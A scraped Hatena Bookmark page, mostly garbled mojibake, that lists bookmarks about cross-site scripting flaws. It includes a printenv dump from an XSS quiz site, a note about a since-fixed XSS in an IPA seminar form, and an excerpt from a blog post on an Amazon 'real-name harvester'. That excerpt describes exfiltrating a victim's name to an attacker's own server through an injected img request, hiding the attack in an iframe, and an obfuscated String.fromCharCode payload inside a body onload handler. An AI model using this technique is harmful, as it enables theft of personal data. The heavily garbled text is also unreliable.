printenv at xss-quiz.int21h.jp
printenv at xss-quiz.int21h.jp Your IP address: 133.242.243.6 () NameValue HTTP_ACCEPT*/* HTTP_CACHE_CONTROLno-cache HTTP_CONNECTIONclose HTTP_HOSTxss-quiz.int21h.jp HTTP_USER_AGENTHatenaBookmark/4.0 (Hatena::Bookmark; Analyzer) QUERY_STRING REMOTE_ADDR133.242.243.6 REQUEST_METHODGET REQUEST_SCHEMEhttp REQUEST_URI/
IPA XSS
ã“ã“ã¯IPAã®ã‚µã‚¤ãƒˆã®XSS脆弱性を検証ã™ã‚‹ãƒšãƒ¼ã‚¸ã§ã—ãŸã€‚ ç¾åœ¨ã¯ã€ã“ã¡ã‚‰ã®è„†å¼±æ€§ã¯ä¿®æ£ã•ã‚Œã¦ã„るよã†ãªã®ã§ã€ã©ã†ãžã”安心ãã ã•ã„。
本åå¸ã„å–ã‚Šæ©Ÿ (AMAZON XSS) :: ã¼ãã¯ã¾ã¡ã¡ã‚ƒã‚“ï¼
↓ã“ã‚Œ 超ãŠã™ã™ã‚マンガãªã‚“ã§ã™ï¼ï¼ï¼ ã†ãã ã‘ã©ï¼ ( ä¿®æ£ãŒã¯ã„ã‚Šã¾ã—ãŸã€‚ã‚‚ã†å‹•ãã¾ã›ã‚“ ) å–得後 alert ã®ã‹ã‚ã‚Šã«ã€è‡ªå‰ã§ç”¨æ„ã—ãŸã‚µãƒ¼ãƒãƒ¼ã« <img src="http://自å‰ã‚µãƒ¼ãƒãƒ¼/?本å"> ã‹ãªã‚“ã‹ã§ãƒªã‚¯ã‚¨ã‚¹ãƒˆã™ã‚‹ã‚ˆã†ã«ã—ã¨ã„ã¦ã€ãã®å¾Œã€é©å½“ãªæ›¸ç±ã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆã•ã›ãŸã‚Šã™ã‚Œã°â€¦ï¼ 本åå¸ã„å–ã‚Šæ©Ÿã®ã§ãã‚ãŒã‚Šï¼ ã“ã‚ã„ã＞＜ リンクã˜ã‚ƒãªã㦠iframe ã¨ã‹ã«ã—ã¡ã‚ƒãˆã°ã€ã¸ã‚“ãªã®è¸ã¾ã›ã‚‹å¿…è¦ã™ã‚‰ãªã„ã‚ˆï¼ (ã¡ã‚‡ã£ã¨ã ã‘解説) ↓urlデコードã™ã‚‹ã¨ã“ㆠhttp://www.amazon.co.jp/exec/obidos/tg/detail/-/<body onload=eval(String.fromCharCode(118, 97, 114, 32, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 9
1
リリースã€éšœå®³æƒ…å ±ãªã©ã®ã‚µãƒ¼ãƒ“スã®ãŠçŸ¥ã‚‰ã›
最新ã®äººæ°—エントリーã®é…ä¿¡
処ç†ã‚’実行ä¸ã§ã™
j次ã®ãƒ–ックマーク
kå‰ã®ãƒ–ックマーク
lã‚ã¨ã§èªã‚€
eコメント一覧を開ã
oページを開ã
IPAã€ã‚»ãƒŸãƒŠãƒ¼å—付フォームã«XSSã®è„†å¼±æ€§ãŒè¦‹ã¤ã‹ã‚‹
{{#tags}}- {{label}}
{{/tags}}